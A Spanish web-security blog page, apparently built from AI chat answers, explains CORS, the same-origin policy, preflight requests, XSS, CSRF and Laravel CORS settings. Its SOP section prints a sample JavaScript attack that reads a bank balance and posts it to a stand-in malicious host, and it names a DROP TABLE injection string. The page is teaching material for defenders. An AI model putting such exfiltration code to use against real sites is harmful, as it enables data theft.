Mostrando entradas con la etiqueta cors. Mostrar todas las entradas
Mostrando entradas con la etiqueta cors. Mostrar todas las entradas

domingo, 7 de septiembre de 2025

¿Cómo funciona la política de origen cruzado (CORS)?

 ¿Cómo funciona la política de origen cruzado (CORS)?

¡Claro! La Política de Origen Cruzado (CORS) es un mecanismo de seguridad fundamental que todos los navegadores web modernos tienen implementado. Es un conjunto de reglas que le dice a un navegador si una página web puede solicitar recursos (como datos, imágenes, o archivos) de un dominio diferente al que la página se encuentra.

Para entender cómo funciona, imagina el navegador como un guardia de seguridad muy estricto y los dominios como edificios separados.


La Política por Defecto: Mismo Origen

La regla de seguridad principal se llama Política del Mismo Origen. El navegador asume, por defecto, que una página web solo puede hacer peticiones a recursos que se encuentran en el mismo origen (protocolo, dominio y puerto).

  • Mismo Origen: https://mi-tienda.com puede solicitar datos de https://mi-tienda.com/api/productos.

  • Origen Cruzado: https://mi-tienda.com no puede solicitar datos de https://otro-dominio.com/api/usuarios sin un permiso explícito. .

La razón de esta estricta regla es la seguridad. Si no existiera, una página web maliciosa podría, por ejemplo, cargar una página de tu banco y robar tus datos sin que te dieras cuenta.


El Mecanismo de Permiso: CORS

Para permitir peticiones de origen cruzado de manera segura, se utiliza el protocolo CORS. Este funciona a través de un intercambio de información entre el navegador y el servidor.

  1. Solicitud del navegador: Cuando una página web intenta hacer una petición a un origen diferente, el navegador añade una cabecera HTTP especial en la petición. Esta cabecera, llamada Origin, le dice al servidor cuál es el dominio que está haciendo la solicitud.

  2. Respuesta del servidor: El servidor recibe la petición y, si decide que es segura y que quiere permitirla, debe incluir en su respuesta una cabecera llamada Access-Control-Allow-Origin.

  3. Verificación del navegador: El navegador lee la respuesta del servidor. Si el valor de la cabecera Access-Control-Allow-Origin coincide con el origen de la página que hizo la petición, el navegador permite que la aplicación acceda a los datos. Si no hay una coincidencia (o si la cabecera no está presente), el navegador bloquea la petición, y en la consola verás un error de CORS.


Ejemplo de Flujo

Supongamos que tu página en https://mi-tienda.com necesita obtener la lista de usuarios de una API en https://api.usuarios.com.

  • Petición: Tu navegador envía una petición a https://api.usuarios.com con la cabecera Origin: https://mi-tienda.com.

  • Servidor de la API: La API en https://api.usuarios.com recibe la petición y, si ha sido configurada para permitir el acceso, responde con la cabecera Access-Control-Allow-Origin: https://mi-tienda.com.

  • Navegador: Tu navegador verifica que la cabecera de la respuesta coincide con el origen de tu página. Como es así, permite que el script de tu página procese los datos de la API.

En resumen, CORS es un sistema de "permiso" que garantiza que los servidores solo compartan sus recursos con los dominios en los que confían. Es una capa de seguridad crucial que protege la privacidad de los usuarios y la integridad de los datos en la web.

martes, 17 de junio de 2025

Empezar a aprender CORS, CSP, CSRF, XSS y SOP

¿En qué orden conviene empezar a aprender CORS, CSP, CSRF, XSS y SOP? ¿Hay además otros conceptos relevantes relacionados?


Estos conceptos son cruciales para construir aplicaciones robustas y seguras. No sólo te ayudarán a proteger tus proyectos, sino que también te darán una ventaja en el mundo del desarrollo web.

Sí, hay un orden lógico para aprenderlos, ya que algunos conceptos se basan en otros o abordan problemas relacionados. Y sí, hay otros conceptos relevantes que complementan estos.

Aquí te propongo un orden de aprendizaje y te introduzco algunos otros conceptos importantes:


Orden de Aprendizaje Sugerido:

Te recomiendo empezar con SOP, luego XSS y CSRF, y finalmente CORS y CSP, ya que estos últimos son mecanismos de defensa más específicos que a menudo se entienden mejor una vez que conoces los ataques que intentan mitigar.

  1. SOP (Same-Origin Policy - Política del Mismo Origen)

  2. XSS (Cross-Site Scripting - Secuencias de Comandos en Sitios Cruzados)

  3. CSRF (Cross-Site Request Forgery - Falsificación de Peticiones en Sitios Cruzados)

  4. CORS (Cross-Origin Resource Sharing - Intercambio de Recursos de Origen Cruzado)

  5. CSP (Content Security Policy - Política de Seguridad de Contenido)


Explicación de cada Concepto y por qué aprenderlos en este orden:

1. SOP (Same-Origin Policy - Política del Mismo Origen)

  • ¿Qué es? Es una política de seguridad fundamental de los navegadores web. Restringe cómo un documento o script cargado de un origen puede interactuar con un recurso de otro origen.

  • Origen: Se define por el esquema (protocolo, ej. http, https), el host (dominio, ej. ejemplo.com) y el puerto (ej. 80, 443, 3000). Si cualquiera de estos tres difiere, son considerados orígenes diferentes.

  • ¿Qué restringe? Principalmente, la capacidad de JavaScript de hacer solicitudes AJAX a dominios diferentes, leer el contenido de iframes de otros dominios, y acceder a cookies de otros dominios.

  • ¿Por qué aprenderlo primero? Es el fundamento. CORS (el siguiente punto) es una excepción controlada a esta política. Entender la SOP te ayudará a entender por qué existen los demás mecanismos.

2. XSS (Cross-Site Scripting - Secuencias de Comandos en Sitios Cruzados)

  • ¿Qué es? Es un tipo de ataque de inyección donde un atacante inyecta código JavaScript malicioso en una página web vista por otros usuarios. El navegador de la víctima ejecuta este código como si fuera parte legítima de la página.

  • Consecuencias:

    • Robo de cookies de sesión (lo que permitiría suplantar la identidad de la víctima).

    • Redirección a sitios maliciosos.

    • Defacement (alteración visual) de la página.

    • Realización de acciones no autorizadas en nombre de la víctima.

  • Tipos: Reflejado, Almacenado y Basado en DOM.

  • ¿Por qué aprenderlo segundo? Es uno de los ataques más comunes y peligrosos. Su prevención a menudo se basa en la sanitización de entrada y el escapado de salida, conceptos que son vitales en cualquier aplicación web. Te ayudará a entender por qué nunca debes confiar en la entrada del usuario.

3. CSRF (Cross-Site Request Forgery - Falsificación de Peticiones en Sitios Cruzados)

  • ¿Qué es? Un ataque que engaña al navegador de un usuario autenticado para que realice una acción no deseada en un sitio web donde ya tiene una sesión activa.

  • Cómo funciona: Un atacante puede incrustar una solicitud maliciosa (ej. un formulario oculto, una imagen con una URL de acción) en una página que el usuario visita. Si el usuario ya está logueado en el sitio objetivo, el navegador enviará automáticamente sus cookies de sesión, y el sitio objetivo ejecutará la acción creyendo que es legítima.

  • Consecuencias: Cambio de contraseña, transferencia de fondos, publicaciones no deseadas, etc.

  • ¿Por qué aprenderlo tercero? Resuelve un problema diferente al XSS, pero también relacionado con la forma en que los navegadores envían cookies. Laravel tiene protecciones integradas (tokens CSRF) que son clave.

4. CORS (Cross-Origin Resource Sharing - Intercambio de Recursos de Origen Cruzado)

  • ¿Qué es? Un mecanismo estándar de HTTP que relaja la SOP de forma controlada. Permite que un servidor especifique qué orígenes (dominios) tienen permiso para acceder a sus recursos desde el código JavaScript de un navegador.

  • Cómo funciona: El navegador realiza una "solicitud pre-vuelo" (preflight request, un OPTIONS HTTP) para verificar si el servidor permite el acceso desde el origen del cliente. El servidor responde con encabezados CORS (Access-Control-Allow-Origin, Access-Control-Allow-Methods, etc.) que indican sus políticas.

  • ¿Por qué aprenderlo cuarto? Una vez que entiendes la SOP (por qué el navegador restringe la comunicación entre orígenes), CORS se convierte en la forma legal y segura de permitir esa comunicación, lo cual es esencial para las aplicaciones web modernas (APIs, SPAs como React/Vue/Angular).

5. CSP (Content Security Policy - Política de Seguridad de Contenido)

  • ¿Qué es? Una capa de seguridad del lado del cliente (configurada por el servidor) que ayuda a mitigar ciertos tipos de ataques de inyección de código (incluido XSS) al decirle al navegador qué fuentes de contenido (scripts, estilos, imágenes, etc.) están permitidas cargar y ejecutar para una página web específica.

  • Cómo funciona: Se configura mediante un encabezado HTTP (Content-Security-Policy) o una meta etiqueta. Especifica directivas como script-src (de dónde pueden cargarse scripts), style-src (de dónde pueden cargarse estilos), img-src, etc. Si una fuente no está en la lista blanca, el navegador la bloqueará.

  • ¿Por qué aprenderlo último? Es una defensa avanzada. Entenderlo requiere un conocimiento previo de XSS, ya que CSP es una de las herramientas más potentes para prevenir la ejecución de scripts maliciosos, incluso si un atacante logra inyectarlos.


Otros Conceptos de Seguridad Web Relevantes:

Además de los que mencionaste, estos son cruciales:

  1. Inyección SQL:

    • ¿Qué es? Un ataque donde un atacante inserta código SQL malicioso en los campos de entrada de una aplicación, haciendo que la base de datos ejecute comandos no deseados (ej., DROP TABLE users;).

    • Prevención: Uso de declaraciones preparadas (prepared statements) con parámetros vinculados (bound parameters). Laravel Eloquent ORM y Query Builder lo hacen automáticamente por ti.

  2. Manejo de Contraseñas:

    • Hashing: Nunca almacenes contraseñas en texto plano. Siempre usa un algoritmo de hashing fuerte (ej., Bcrypt o Argon2id en PHP) para guardar un hash de la contraseña. Laravel lo hace por defecto.

    • Salting: Añadir un valor aleatorio único (salt) a cada contraseña antes de aplicar el hash, para proteger contra ataques de tablas arcoíris. (Ya incluido en los algoritmos modernos como Bcrypt).

  3. HTTPS (SSL/TLS):

    • ¿Qué es? El protocolo seguro de transferencia de hipertexto. Cifra la comunicación entre el navegador del usuario y tu servidor, protegiendo los datos en tránsito de ser interceptados o modificados.

    • Importancia: Es absolutamente fundamental para cualquier sitio web moderno, especialmente aquellos que manejan datos sensibles.

  4. Autenticación y Autorización:

    • Autenticación: Verificar la identidad de un usuario (¿quién eres?).

    • Autorización: Determinar qué acciones puede realizar un usuario autenticado (¿qué puedes hacer?).

    • Importancia: Son la base de la seguridad de acceso en tu aplicación. Laravel proporciona herramientas robustas para ambos (Laravel Fortify, Breeze, Jetstream, Sanctum, Gates, Policies).

  5. Validación de Entrada (Input Validation):

    • ¿Qué es? El proceso de asegurar que todos los datos que tu aplicación recibe (de formularios, APIs, URLs) sean válidos, esperados y seguros antes de procesarlos.

    • Importancia: Es la primera línea de defensa contra muchos ataques de inyección (XSS, SQL Injection, etc.). Siempre valida los datos en el lado del servidor, incluso si ya los validaste en el lado del cliente (frontend).

  6. Principios de Mínimo Privilegio:

    • ¿Qué es? Concede solo los permisos necesarios para que un usuario o proceso realice su función, y no más.

    • Importancia: Reduce el daño potencial si una cuenta o un sistema es comprometido.

  7. Registro y Monitoreo de Seguridad:

    • ¿Qué es? Llevar un registro de eventos de seguridad (intentos de inicio de sesión fallidos, errores inusuales, acceso a recursos sensibles) y monitorear estos registros para detectar actividades sospechosas.

    • Importancia: Permite la detección temprana de ataques o vulnerabilidades.


¡Espero que este desglose te sea útil para comenzar tu viaje en la seguridad web! Es un campo vasto, pero entender estos fundamentos te dará una base sólida.

Quiero que me expliques SOP con un ejemplo de una técnica de ataque a la cual este previene.


¡Excelente! Para entender la SOP (Same-Origin Policy - Política del Mismo Origen), la mejor manera es verla en acción previniendo un ataque.

Explicación de la SOP (Same-Origin Policy)

La Política del Mismo Origen (SOP) es una característica de seguridad fundamental e intrínseca de los navegadores web modernos. Su propósito principal es aislar los documentos cargados de diferentes orígenes para evitar que un script de un sitio malicioso pueda acceder o manipular información sensible de otro sitio.

Un "origen" se define por la combinación de tres elementos:

  1. Protocolo (Scheme): http o https

  2. Host (Dominio): ejemplo.com, banco.com, miaplicacion.com

  3. Puerto (Port): 80 (HTTP), 443 (HTTPS), 3000, 8080, etc.

Si estos tres elementos son idénticos entre dos recursos (por ejemplo, una página web y un script que intenta hacer una solicitud a otro servidor), se consideran del "mismo origen". Si alguno de ellos difiere, se consideran de "origen cruzado" (cross-origin).

La SOP establece que un script o documento de un origen NO PUEDE interactuar directamente con recursos de otro origen.

Ejemplo de una Técnica de Ataque que la SOP Previene: Robo de Datos mediante Solicitudes AJAX entre Orígenes

Imagina el siguiente escenario sin la SOP:

Sitios involucrados:

  • banco.com: El sitio web legítimo de tu banco, donde estás logueado y tienes acceso a tu saldo y transacciones.

  • sitio-malicioso.com: Un sitio web creado por un atacante.

Técnica de ataque (si la SOP no existiera):

  1. La Víctima Visita el Sitio Malicioso: Un atacante te engaña para que visites sitio-malicioso.com (tal vez mediante un correo electrónico de phishing, un anuncio engañoso, etc.).

  2. Ejecución de JavaScript Malicioso: Dentro de sitio-malicioso.com, el atacante ha incrustado el siguiente código JavaScript (o algo similar):

  3. JavaScript

// Código JavaScript en sitio-malicioso.com

fetch('https://banco.com/api/mi_saldo') // Intenta hacer una petición al banco

    .then(response => response.json())

    .then(data => {

        console.log('Saldo de tu cuenta robado:', data.saldo);

        // El atacante enviaría este saldo a su propio servidor

        fetch('https://sitio-malicioso.com/recibir_saldo', {

            method: 'POST',

            headers: { 'Content-Type': 'application/json' },

            body: JSON.stringify({ saldoRobado: data.saldo })

        });

    })

    .catch(error => {

        console.error('Error al intentar robar el saldo:', error);

    });



  1. El Problema sin SOP:

    • Si la SOP no existiera, cuando el navegador de la víctima ejecuta este script en sitio-malicioso.com, intentaría hacer una solicitud AJAX (usando Workspace u XMLHttpRequest) directamente a https://banco.com/api/mi_saldo.

    • Como la víctima ya está logueada en banco.com en otra pestaña o en la misma sesión, su navegador enviaría automáticamente las cookies de sesión válidas para banco.com junto con esta solicitud.

    • El servidor de banco.com recibiría la solicitud, la consideraría legítima (porque vienen con cookies válidas), procesaría la petición mi_saldo y enviaría los datos del saldo del usuario al navegador.

    • El código JavaScript del atacante en sitio-malicioso.com recibiría y leería esos datos de saldo.

    • Finalmente, el script del atacante podría enviar ese saldo robado a su propio servidor (sitio-malicioso.com/recibir_saldo), completando el robo de información sensible.

¿Cómo la SOP previene este ataque?

Gracias a la Política del Mismo Origen, el ataque anterior NO FUNCIONARÍA.

Cuando el script en sitio-malicioso.com intenta hacer la solicitud Workspace('https://banco.com/api/mi_saldo'), el navegador de la víctima verifica los orígenes:

  • Origen del script: https://sitio-malicioso.com (protocolo: https, host: sitio-malicioso.com, puerto: 443)

  • Origen del recurso solicitado: https://banco.com (protocolo: https, host: banco.com, puerto: 443)

Dado que el host (sitio-malicioso.com vs banco.com) es diferente, el navegador reconoce que es una solicitud de origen cruzado.

Según la SOP, el navegador:

  1. Permitirá que la solicitud se envíe al servidor de banco.com (las cookies se envían, esto es importante).

  2. PERO, BLOQUEARÁ al JavaScript del atacante la capacidad de leer la respuesta del servidor de banco.com.

El atacante no recibirá el saldo, porque la SOP le impide al script en sitio-malicioso.com acceder a los datos que provienen de banco.com. En la consola del navegador de la víctima, verías un error de CORS similar a:

Access to fetch at 'https://banco.com/api/mi_saldo' from origin 'https://sitio-malicioso.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.


Conclusión:

La SOP es un mecanismo de defensa crucial que protege la privacidad de los datos del usuario al impedir que scripts maliciosos de un sitio web puedan espiar o manipular datos de otro sitio web sin el consentimiento explícito de este último. Es la razón fundamental por la que existen mecanismos como CORS, que son una forma controlada de relajar esta política cuando la comunicación entre orígenes es intencional y segura.

***¿por qué querría yo permitir en CORS ciertos encabezados y otros no?


Es una excelente pregunta, y la respuesta se centra principalmente en la seguridad y la claridad del contrato de tu API/aplicación.

Para entenderlo, primero recordemos cómo funcionan las solicitudes HTTP y CORS:

  1. Encabezados HTTP (HTTP Headers): Son pares clave-valor que se envían junto con una solicitud o respuesta HTTP. Proporcionan metadatos sobre la petición o el recurso. Ejemplos comunes incluyen Content-Type, User-Agent, Accept, Cookie, etc.

  2. Solicitudes "Complejas" y el Pre-Vuelo (Preflight Request):
    Como mencionamos, cuando un script de JavaScript en un navegador intenta hacer una solicitud CORS que no es una "solicitud simple" (por ejemplo, usa un método HTTP como PUT o DELETE, o tiene un Content-Type como application/json que no sea el por defecto, o contiene encabezados HTTP personalizados), el navegador primero envía una solicitud OPTIONS de "pre-vuelo".

    En esta solicitud OPTIONS, el navegador le pregunta al servidor, entre otras cosas:

    • "¿Puedo usar el método POST?"

    • "¿Puedo enviar estos encabezados personalizados: X-Mi-Token, Authorization?"

  3. El servidor responde con encabezados CORS (como Access-Control-Allow-Origin, Access-Control-Allow-Methods, y el que nos interesa aquí: Access-Control-Allow-Headers).

    Si la respuesta del servidor en Access-Control-Allow-Headers no incluye los encabezados que el navegador quería enviar, el navegador bloqueará la solicitud real y no la enviará.

¿Por qué querría permitir ciertos encabezados y otros no en Access-Control-Allow-Headers?

Aquí están las razones principales:

  1. Seguridad (La Razón Principal):

    • Principio de Mínimo Privilegio: Es una práctica de seguridad fundamental. Solo debes permitir lo que es estrictamente necesario. Si tu API no espera un encabezado X-Peliculillas-Gratis, no hay razón para que permitas que el navegador lo envíe en una solicitud de origen cruzado.

    • Prevención de Ataques Inesperados: Un atacante podría intentar enviar encabezados HTTP arbitrarios en una solicitud de origen cruzado. Si el servidor los aceptara indiscriminadamente, podría haber vulnerabilidades si el servidor interpreta de forma inesperada un encabezado malicioso, o si ese encabezado es un vector para otro tipo de ataque (aunque es menos común directamente a través de encabezados, la postura de seguridad es "denegar por defecto").

    • Evitar Fugas de Información: Aunque es más raro con encabezados de solicitud, si un atacante pudiera enviar encabezados personalizados que revelaran información sobre el servidor o su configuración, sería un riesgo.

  2. Claridad y Definición del Contrato de la API:

    • Tu API tiene un contrato sobre cómo espera recibir las peticiones. Al especificar los encabezados permitidos en Access-Control-Allow-Headers, estás documentando explícitamente qué encabezados personalizados formarán parte de ese contrato para las comunicaciones de origen cruzado.

    • Esto es especialmente importante para encabezados que tu aplicación usa activamente para funcionalidades como:

      • Authorization: Para enviar tokens de autenticación (Bearer tokens, OAuth). Es el encabezado más común que querrás permitir.

      • X-CSRF-TOKEN: Si usas protección CSRF basada en un token en un encabezado para tus llamadas AJAX.

      • X-Requested-With: Un encabezado común (aunque no estándar) que muchos frameworks usan para identificar solicitudes AJAX.

      • X-App-Version, X-Client-ID: Encabezados personalizados que tu aplicación podría usar para rastrear la versión del cliente o su identificador.

  3. Manejo de Errores y Depuración:

    • Si un cliente (frontend) intenta enviar un encabezado que no está en la lista blanca de Access-Control-Allow-Headers, el navegador lo bloqueará y generará un error de CORS. Esto ayuda a los desarrolladores a saber que hay una discrepancia entre lo que el cliente intenta enviar y lo que el servidor está configurado para aceptar, facilitando la depuración.

***Ejemplo Práctico:

Imagina que tu API de Laravel utiliza un token JWT para la autenticación, enviado en el encabezado Authorization. También tienes un encabezado personalizado X-App-Client para identificar el tipo de cliente (web, móvil, etc.).

Tu configuración de CORS en config/cors.php (después de publicar) se vería así:

PHP

'allowed_origins' => ['*'], // O dominios específicos como 'https://tu-frontend.com'

'allowed_methods' => ['*'], // GET, POST, PUT, DELETE, etc.

'allowed_headers' => ['Content-Type', 'Authorization', 'X-App-Client'], // ¡Aquí es donde los controlas!

// 'allowed_headers' => ['*'], // Esto permitiría CUALQUIER encabezado, lo cual es menos seguro

'exposed_headers' => [],

'max_age' => 0,

'supports_credentials' => false,


Si envías una solicitud desde un origen cruzado:

  • Si el frontend envía Authorization y X-App-Client: El navegador realiza un pre-vuelo. El servidor responde con Access-Control-Allow-Headers: Content-Type, Authorization, X-App-Client. El navegador ve que todo está permitido y envía la solicitud real.

  • Si el frontend accidentalmente envía un encabezado no permitido como X-Debug-Mode: El navegador realiza un pre-vuelo. El servidor responde con Access-Control-Allow-Headers: Content-Type, Authorization, X-App-Client. El navegador compara y ve que X-Debug-Mode NO está en la lista. El navegador bloqueará la solicitud real y mostrará un error de CORS en la consola, protegiendo tu servidor de un encabezado no esperado.

En resumen, permitir solo ciertos encabezados HTTP en CORS es una práctica de seguridad crucial que refuerza el principio de mínimo privilegio y ayuda a mantener un contrato de comunicación claro y predecible con tus clientes de origen cruzado.

¿Por qué existen las solicitudes (requests) pre-vuelo (preflight) en vez de que la aceptación o bloqueo se resuelva directamente en la solicitud real?


Las solicitudes "pre-vuelo" (preflight requests), que usan el método HTTP OPTIONS, existen como una capa de seguridad adicional y crítica en el contexto de CORS (Cross-Origin Resource Sharing). No se resuelven directamente en la solicitud real porque su propósito es proteger el estado del servidor de operaciones potencialmente peligrosas o no deseadas que provengan de orígenes cruzados.

Vamos a desglosarlo:

1. El Peligro de las Solicitudes "Complejas" sin Pre-Vuelo

Primero, es importante entender que no todas las solicitudes CORS requieren un pre-vuelo. Las llamadas "simples" (que usan métodos GET, HEAD o POST con ciertos tipos de Content-Type y sin encabezados personalizados) no envían un pre-vuelo. Para estas solicitudes simples, el navegador envía la solicitud real directamente al servidor. Si el servidor no responde con los encabezados CORS adecuados (Access-Control-Allow-Origin), el navegador simplemente bloquea que el JavaScript del cliente lea la respuesta. Pero la solicitud ya llegó al servidor y pudo haber sido procesada.

Ahora, considera las solicitudes "complejas":

  • Uso de métodos HTTP distintos de GET, HEAD, POST (como PUT, DELETE, PATCH).

  • Uso de Content-Type como application/json (en lugar de application/x-www-form-urlencoded o multipart/form-data).

  • Inclusión de encabezados HTTP personalizados (como Authorization o X-CSRF-Token).

Imagina un escenario sin solicitudes pre-vuelo para estas llamadas complejas:

  • Un atacante crea un sitio web malicioso (sitio-malicioso.com).

  • En este sitio, el atacante tiene código JavaScript que intenta enviar una solicitud DELETE a tu API (tu-api.com/recursos/123).

  • Si el navegador enviara esta solicitud DELETE directamente sin un pre-vuelo (como lo hace con una GET o un POST simple):

    • La solicitud DELETE llegaría a tu servidor.

    • Tu servidor, si no tiene protecciones específicas para verificar el origen (Origin header) en cada ruta, podría procesar la solicitud DELETE y eliminar el recurso 123.

    • El navegador luego vería que tu servidor no respondió con los encabezados CORS adecuados (Access-Control-Allow-Origin para DELETE), y bloquearía que el JavaScript de sitio-malicioso.com lea la respuesta de tu servidor.

    • ¡Pero el daño ya estaría hecho! El recurso 123 ya habría sido eliminado en tu base de datos, incluso si el atacante no pudiera confirmar visualmente si el borrado fue exitoso.

Este es un tipo de vulnerabilidad similar a CSRF (Cross-Site Request Forgery), pero para métodos HTTP que no son GET o POST y que no suelen ser generados por formularios HTML tradicionales.

2. Cómo las Solicitudes Pre-Vuelo Resuelven el Problema

La solicitud OPTIONS de pre-vuelo actúa como una "solicitud de permiso" previa a la solicitud real.

  • Cuando el navegador detecta una solicitud CORS "compleja", primero envía la solicitud OPTIONS.

  • Esta solicitud OPTIONS contiene encabezados especiales que le dicen al servidor qué método HTTP (Access-Control-Request-Method) y qué encabezados personalizados (Access-Control-Request-Headers) el navegador pretende usar en la solicitud real.

  • Tu servidor recibe esta solicitud OPTIONS y debe responder con sus propias políticas CORS, utilizando los encabezados Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers, etc.

  • Si el servidor responde con los encabezados adecuados que otorgan permiso, solo entonces el navegador procede a enviar la solicitud HTTP real (el PUT, DELETE, etc.).

  • Si el servidor no responde con los encabezados adecuados que otorgan permiso, el navegador bloquea la solicitud real y ni siquiera la envía al servidor. Se produce un error de CORS en el lado del cliente (en la consola del navegador), y la solicitud potencialmente dañina nunca abandona la máquina del usuario.

Analogía

Imagina que tu servidor es una fortaleza y las solicitudes complejas son vehículos pesados o camiones con carga especial (que pueden modificar el paisaje si se les permite entrar).

  • Sin pre-vuelo: Un camión desconocido simplemente conduce hasta la fortaleza, pasa por la puerta y descarga su contenido o demuele una parte de la pared. Tú puedes gritarle al conductor después, pero el daño ya está hecho.

  • Con pre-vuelo: Primero, un pequeño dron explorador (OPTIONS request) vuela hacia la fortaleza y pregunta: "¿Puede un camión rojo con carga explosiva pasar por aquí?". La fortaleza (tu servidor) verifica sus reglas. Si dice "No", el dron vuelve y el camión rojo ni siquiera se mueve de su origen. Si dice "Sí", entonces el camión procede.

Conclusión

Las solicitudes pre-vuelo son una medida de seguridad fundamental para:

  • Proteger el estado del servidor: Asegurando que las operaciones potencialmente dañinas (como DELETE o PUT desde un origen no autorizado) nunca lleguen al servidor si el origen no tiene permiso explícito.

  • Obtener el consentimiento explícito del servidor: Obligando al servidor a declarar sus políticas CORS para operaciones complejas antes de que el navegador envíe la solicitud real.

Sin el pre-vuelo, la defensa de CORS sería mucho más débil para los métodos HTTP que pueden tener efectos secundarios en el servidor.

¿Por qué de GET y de POST no se hace preflight?


Tu pregunta es muy pertinente y toca un punto clave en el diseño de la seguridad web: la compatibilidad retroactiva y la naturaleza de los ataques históricos.

La razón principal por la que las solicitudes GET y POST (bajo ciertas condiciones) no requieren una solicitud pre-vuelo en CORS se debe a su naturaleza de "solicitudes simples" y a consideraciones de compatibilidad con la web pre-CORS.

Criterios de las "Solicitudes Simples" (Simple Requests)

Una solicitud CORS no activará un pre-vuelo si cumple TODAS las siguientes condiciones:

  1. Método HTTP: Debe ser GET, HEAD o POST.

  2. Encabezados permitidos: Solo puede usar los encabezados "seguros" definidos por la especificación CORS. Estos incluyen:

    • Accept

    • Accept-Language

    • Content-Language

    • Content-Type

    • Range (parcialmente, y no siempre)

    • User-Agent (establecido por el navegador)

  3. Valor del Content-Type (si es POST): Si es una solicitud POST, el encabezado Content-Type solo puede tener uno de los siguientes valores:

    • application/x-www-form-urlencoded

    • multipart/form-data

    • text/plain

  4. No hay encabezados personalizados: No se pueden usar encabezados HTTP personalizados (como Authorization o X-CSRF-Token).

  5. No hay Event Listeners en XMLHttpRequestUpload: Ciertos eventos de progreso de subida también pueden forzar un pre-vuelo.

¿Por qué GET y ciertos POST no tienen pre-vuelo?

La clave está en cómo funcionaba la web antes de la existencia de CORS y la Política del Mismo Origen (SOP).

  1. Compatibilidad Retroactiva y la "Web Antigua":

    • Históricamente, los navegadores siempre han permitido que una página web incruste recursos o envíe formularios a cualquier dominio, incluso si eran de origen cruzado.

      • GET: Las etiquetas <img>, <script>, <link>, <iframe>, <a> (para navegación) siempre han podido cargar recursos de otros dominios. Un GET de origen cruzado es fundamentalmente lo mismo que un navegador cargando una imagen o un script de otro dominio.

      • POST (con tipos de formulario): Los formularios HTML (<form action="http://otrodominio.com/submit" method="post">) siempre han podido enviar datos a cualquier dominio. Los tipos de contenido application/x-www-form-urlencoded y multipart/form-data son los formatos predeterminados para el envío de formularios HTML.

    • La especificación CORS fue diseñada para ser compatible con este comportamiento existente. La idea era que si una solicitud de origen cruzado ya podía realizarse sin JavaScript (simplemente incrustando etiquetas HTML o formularios), entonces no tenía sentido introducir una restricción de pre-vuelo adicional cuando se realizaba la misma solicitud con JavaScript.

  2. La Asunción Histórica de los Servidores:

    • Antes de CORS, los servidores que recibían solicitudes GET o POST de un navegador (especialmente las que parecían envíos de formularios) ya estaban diseñados para lidiar con el hecho de que estas solicitudes podían venir de cualquier parte de la web, incluso de sitios maliciosos (por ejemplo, a través de ataques CSRF que engañaban al usuario para que enviara un formulario a un sitio de confianza).

    • Por lo tanto, la "seguridad" de estas operaciones no se basaba en que el navegador impidiera la solicitud, sino en que el servidor debía estar correctamente protegido contra ataques como CSRF (por ejemplo, usando tokens CSRF).

    • El pre-vuelo se introdujo para métodos y encabezados nuevos que los navegadores no podían enviar previamente de forma transversal (PUT, DELETE, PATCH, encabezados personalizados) y que, por lo tanto, los servidores no estaban necesariamente esperando ni protegidos contra ellos en un contexto de origen cruzado. Para estos métodos y encabezados, la SOP era mucho más estricta antes de CORS.

En Resumen:

  • GET y POST (simples) no necesitan pre-vuelo porque históricamente (antes de CORS) ya se podían realizar de origen cruzado a través de mecanismos nativos del navegador (etiquetas <img>, <script>, formularios HTML).

  • La seguridad para estos tipos de solicitudes ya se asumía que recaía principalmente en las protecciones del lado del servidor (como los tokens CSRF), no en el navegador impidiendo la solicitud.

  • El pre-vuelo está diseñado para proteger los servidores de efectos secundarios no deseados de solicitudes más "complejas" (como PUT, DELETE, o aquellas con encabezados personalizados) que no eran posibles de origen cruzado antes de CORS, y para las cuales los servidores podrían no haber implementado defensas adecuadas sin un mecanismo de consentimiento explícito.

Es una cuestión de equilibrio entre la seguridad y la necesidad de mantener la compatibilidad con el vasto ecosistema de sitios web y APIs existentes que se crearon mucho antes de que se concibiera CORS.